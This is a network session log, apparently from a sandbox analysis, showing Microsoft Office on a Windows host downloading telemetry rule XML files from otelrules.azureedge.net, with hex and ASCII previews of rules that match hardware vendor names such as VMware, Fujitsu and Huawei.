2024-10-30 01:27:59 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c8022c20-501e-00a3-08ae-26c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012759Z-16849878b78qf2gleqhwczd21s00000007gg00000000fu12 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:27:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:59 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:59 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: d7829477-101e-008d-1890-2792e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012759Z-r197bdfb6b4qbfppwgs4nqza80000000060g000000004ppn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:27:59 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:59 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:59 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 9426c385-b01e-0053-505f-27cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012759Z-17c5cb586f67hfgj2durhqcxk800000006a00000000030fu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:27:59 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:59 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:59 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:59 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012759Z-16849878b787bfsh7zgp804my4000000064000000000e20m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:27:59 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:59 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:59 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bd3bd0-f01e-003c-42e3-258cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012759Z-15b8d89586fcvr6p5956n5d0rc0000000deg0000000070z0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:00 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:59 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:00 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:59 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 09de4432-901e-0064-2428-27e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012759Z-17c5cb586f6b6kj91vqtm6kxaw000000060000000000dhw0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:28:00 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:00 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:00 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 864201cb-901e-0015-2b18-26b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012800Z-16849878b78qf2gleqhwczd21s00000007fg00000000k48h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:00 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:00 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:00 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 9956b93e-101e-0017-0e1a-2447c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012800Z-17c5cb586f6hhlf5mrwgq3erx800000008q000000000d1c6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:00 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:00 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: bfc21b6c-401e-0067-2636-2809c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012800Z-15b8d89586fvk4kmbg8pf84y88000000086g00000000ba9c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:00 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:00 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012800Z-16849878b78bcpfn2qf7sm6hsn000000090g000000004gxv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:00 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:00 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:00 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012800Z-16849878b786jv8w2kpaf5zkqs000000065000000000nnrs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:00 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:01 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:01 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 50755ed9-801e-00ac-015e-27fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012801Z-17c5cb586f6czxsn0m3rnby85400000000sg0000000004ys x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:01 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49791	13.107.246.45	443

